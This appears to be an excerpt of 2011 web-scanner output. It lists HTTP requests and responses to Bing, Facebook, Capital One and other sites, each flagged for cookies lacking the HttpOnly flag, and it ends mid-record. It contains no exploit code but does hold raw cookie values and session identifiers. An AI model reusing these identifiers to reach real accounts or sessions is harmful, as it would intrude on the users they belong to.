GET /shopping/valentines-day-gift-ideas/r/144 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:00 GMT Connection: close Set-Cookie: _SS=SID=3E69B16A4036442C8750E36A24D9491D; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:00 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/womens-workout-clothing/r/146?FORM=SHOPH1&crea=020111workoutwear HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=80438C118EA246A18DDC72E701D38668; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/deals/cheap-flights-to-las-vegas.do?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:51 GMT Connection: close Set-Cookie: _SS=SID=AF7DBFF440CB4C92B41FAE4F6A61250D; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:51 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/destinations/orlando-florida-hotels-hostels-motels-1004643?qpvt=orlando+hotels&q=orlando+hotels&cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:52 GMT Connection: close Set-Cookie: _SS=SID=27FE84C2DCDE46E1930C9C9FE31D1EA9; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:52 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/hotels?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:53 GMT Connection: close Set-Cookie: _SS=SID=5FF4597C29944F46AD1E896475146096; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:53 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/browse?from=en-us_msnhp HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: http://www.bing.com/videos/browse P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:38:48 GMT Connection: close Set-Cookie: VIDSCHUSR=CLICKMODE=0&VMUTE=0&PARTNER=0; expires=Thu, 31-Jan-2013 15:38:48 GMT; domain=.bing.com; path=/videos Set-Cookie: _HOP=I=1&TS=1296574728; domain=.bing.com; path=/ Set-Cookie: _SS=SID=7F4016131B0E4D14A29A3BCD60BA716F; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:48 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/earthquake-proof-bridge/pfu8x7j?q=Bridge&rel=msn&from=en-us_msnhp&form=msnrll>1=42006 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/ice-cube-talks-tv-film-and-music/6vztnpj?q=are+we+there+yet&rel=msn&from=en-us_msnhp&form=MSNRLL>1=42007 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/jay-mohr-part-1/17wj9ueo7?q=Justin+Bieber&rel=msn&from=en-us_msnhp&form=MSNRLL>1=42008 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/rio-exclusive-films-first-two-minutes/5eq4owv?form=ETMONA&from=en-us_msnhp HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/the-roommate-exclusive-clip-just-doing-my-job/5tbba1k HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /creditcards/orbitz/index.php?external_id=WWW_ZZORBZ_BNUSCD_QS_FB_11_ZZ_ZZ_PARTNER\ HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:44:26 GMT Server: Apache Set-Cookie: v1st=CB900D89605E0146; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.capitalone.com Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: itc=CAPITALONE11NZZZintmktgD4; expires=Sun, 03-Apr-2011 15:44:26 GMT; path=/; domain=.capitalone.com Set-Cookie: external_id=WWW_ZZORBZ_BNUSCD_QS_FB_11_ZZ_ZZ_PARTNER%5C%5C; path=/; domain=.capitalone.com Set-Cookie: caponecc=channel%3DUNS%2A20090715%3Atestgroup%3Dtg11%2A20110113; path=/; domain=.capitalone.com Set-Cookie: caponesn=f5b8a110S04syM9LTU6OK7YyMrNSCvULtjIyMLA0MDc01S1JNzTUNTIwNAQiYyXrOENTY3NjAA%3D%3D; expires=Wed, 01-Jan-2020 00:00:00 GMT; path=/; domain=.capitalone.com Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=utf-8 Set-Cookie: BIGipServerpl_capitalone.com_80=795419914.29215.0000; path=/ Content-Length: 21899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.cheaptickets.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=41A0C8377E063EDF9406ACA3829AA4EF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: anon=6141560721296661466911; Domain=.cheaptickets.com; Expires=Tue, 28-Jan-2031 15:44:26 GMT; Path=/ Set-Cookie: OrbitzRegistration="N,0,0,0"; Domain=.cheaptickets.com; Expires=Tue, 28-Jan-2031 15:44:26 GMT; Path=/ Set-Cookie: BetaGroup="02/02/2011 09:44:26|A|A|N|C|N|H|B|P|N"; Domain=.cheaptickets.com; Expires=Wed, 16-Feb-2011 15:44:26 GMT; Path=/ Set-Cookie: logging=41A0C8377E063EDF9406ACA3829AA4EF|egapp12p|; Domain=.cheaptickets.com; Path=/ P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: text/html Date: Wed, 02 Feb 2011 15:44:26 GMT Set-Cookie: NSC_JOgil22jbs5zdatbqdhwzldyh4ibbdt=ffffffff09e3a73b45525d5f4f58455e445a4a4217b9;path=/ Set-Cookie: NSC_xxx.difbqujdlfut.dpn.80_gxe=ffffffff09e3087845525d5f4f58455e445a4a423660;path=/ Content-Length: 268072
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ehow-writers.html?utm_source=EHOWcom&utm_medium=banner&utm_campaign=ehow HTTP/1.1 Host: www.demandstudios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.digitalia.be Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ehow.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.evow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 Set-Cookie: ASP.NET_SessionId=kilngtaxq5jnnjw2w0xslwyy; path=/; HttpOnly Set-Cookie: ft=Monday, January 31, 2011 5:34:04 PM; expires=Sat, 19-Jun-2038 00:34:04 GMT; path=/ X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 01:34:04 GMT Connection: close Content-Length: 36895
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=J5foX; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.facebook.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=J5foX; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 X-Cnection: close Date: Wed, 02 Feb 2011 21:51:01 GMT Content-Length: 30789
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /btaylor HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /careers/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /directory/pages/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /directory/people/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /help/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ligatt HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fligatt; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 15:45:47 GMT Content-Length: 15169
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
